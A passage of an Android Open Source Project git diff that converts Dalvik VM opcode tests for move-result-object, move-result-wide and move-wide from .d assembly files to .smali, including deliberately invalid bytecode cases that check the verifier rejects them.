+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d
deleted file mode 100644
index 0cbb044..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_8.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()[I
-.limit regs 16
-    const v1, 1
-    const v2, 2
-    filled-new-array {v1, v2}, [I
-    move-result-object v5
-    
-    return-object v5
-
-.end method
-
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali
new file mode 100644
index 0000000..2499159
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_8.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_8.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()[I
+.registers 16
+    const v1, 1
+    const v2, 2
+    filled-new-array {v1, v2}, [I
+    move-result-object v5
+    
+    return-object v5
+
+.end method
+
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d
deleted file mode 100644
index 92600b9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_9.java
-.class public dot.junit.opcodes.move_result_object.d.T_move_result_object_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-    
-    invoke-direct {v15} dot/junit/opcodes/move_result_object/d/T_move_result_object_9/foo()Ljava/lang/Object;
-
-    move-result-object v16
-    return-void
-
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali
new file mode 100644
index 0000000..9eb2023
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_object/d/T_move_result_object_9.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_9.java"
+.class  public Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+    
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_object/d/T_move_result_object_9;->foo()Ljava/lang/Object;
+
+    move-result-object v16
+    return-void
+
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d
deleted file mode 100644
index e0d80c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.d
+++ /dev/null
@@ -1,56 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_1.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1/foo()J
-
-    move-result-wide v0
-    const-wide v2, 12345
-    
-    cmp-long v5, v0, v2
-    if-eqz v5, Label1
-    
-    const v0, 0
-    return v0
-    
-Label1:
-    const v0, 1
-    return v0
-
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali
new file mode 100644
index 0000000..580999b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_1.smali
@@ -0,0 +1,56 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_1.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_1;->foo()J
+
+    move-result-wide v0
+    const-wide v2, 12345
+    
+    cmp-long v5, v0, v2
+    if-eqz v5, :Label1
+    
+    const v0, 0
+    return v0
+    
+:Label1
+    const v0, 1
+    return v0
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d
deleted file mode 100644
index 35eb63c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_2.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2/foo()J
-    move-result-wide v16
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali
new file mode 100644
index 0000000..e731a4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_2.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_2;->foo()J
+    move-result-wide v16
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d
deleted file mode 100644
index 5f53fa3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_3.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3/foo()Ljava/lang/Object;
-    move-result-wide v0
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali
new file mode 100644
index 0000000..50d584a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_3.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_3;->foo()Ljava/lang/Object;
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d
deleted file mode 100644
index 3c10cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_4.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4/foo()I
-    move-result-wide v0
-    
-    return-void
-.end method
-
-.method private foo()I
-.limit regs 2
-
-    const v0, 1234
-    return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali
new file mode 100644
index 0000000..d2229fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_4.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_4;->foo()I
+    move-result-wide v0
+    
+    return-void
+.end method
+
+.method private foo()I
+.registers 2
+
+    const v0, 1234
+    return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d
deleted file mode 100644
index 9126ee2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_5.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 16
-
-    const-wide v0, 123
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5/foo()J
-    move-result-wide v1
-    
-    return-wide v0
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali
new file mode 100644
index 0000000..1371127
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_5.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 16
+
+    const-wide v0, 123
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_5;->foo()J
+    move-result-wide v1
+    
+    return-wide v0
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d
deleted file mode 100644
index a499958..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_6.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6/foo()J
-    nop
-    move-result-wide v1
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali
new file mode 100644
index 0000000..511302f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_6.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_6.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_6;->foo()J
+    nop
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d
deleted file mode 100644
index f6d47eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_7.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    goto Label1
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7/foo()J
-Label1:
-    move-result-wide v1
-    
-    return-void
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali
new file mode 100644
index 0000000..71e0a10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_7.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_7.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    goto :Label1
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_7;->foo()J
+:Label1
+    move-result-wide v1
+    
+    return-void
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d
deleted file mode 100644
index f385a2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_wide_8.java
-.class public dot.junit.opcodes.move_result_wide.d.T_move_result_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8/foo()J
-
-    move-result-wide v16
-    return-void
-
-.end method
-
-.method private static foo()J
-.limit regs 2
-
-     const-wide v0, 12345
-     return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali
new file mode 100644
index 0000000..dbf59f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result_wide/d/T_move_result_wide_8.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_wide_8.java"
+.class  public Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    const v0, 0
+    
+    invoke-static {} , Ldot/junit/opcodes/move_result_wide/d/T_move_result_wide_8;->foo()J
+
+    move-result-wide v16
+    return-void
+
+.end method
+
+.method private static foo()J
+.registers 2
+
+     const-wide v0, 12345
+     return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d
deleted file mode 100644
index b0597f8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_wide/d/T_move_wide_1.d
+++ /dev/null
@@ -1,49 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_wide_1.java
-.class public dot.junit.opcodes.move_wide.d.T_move_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
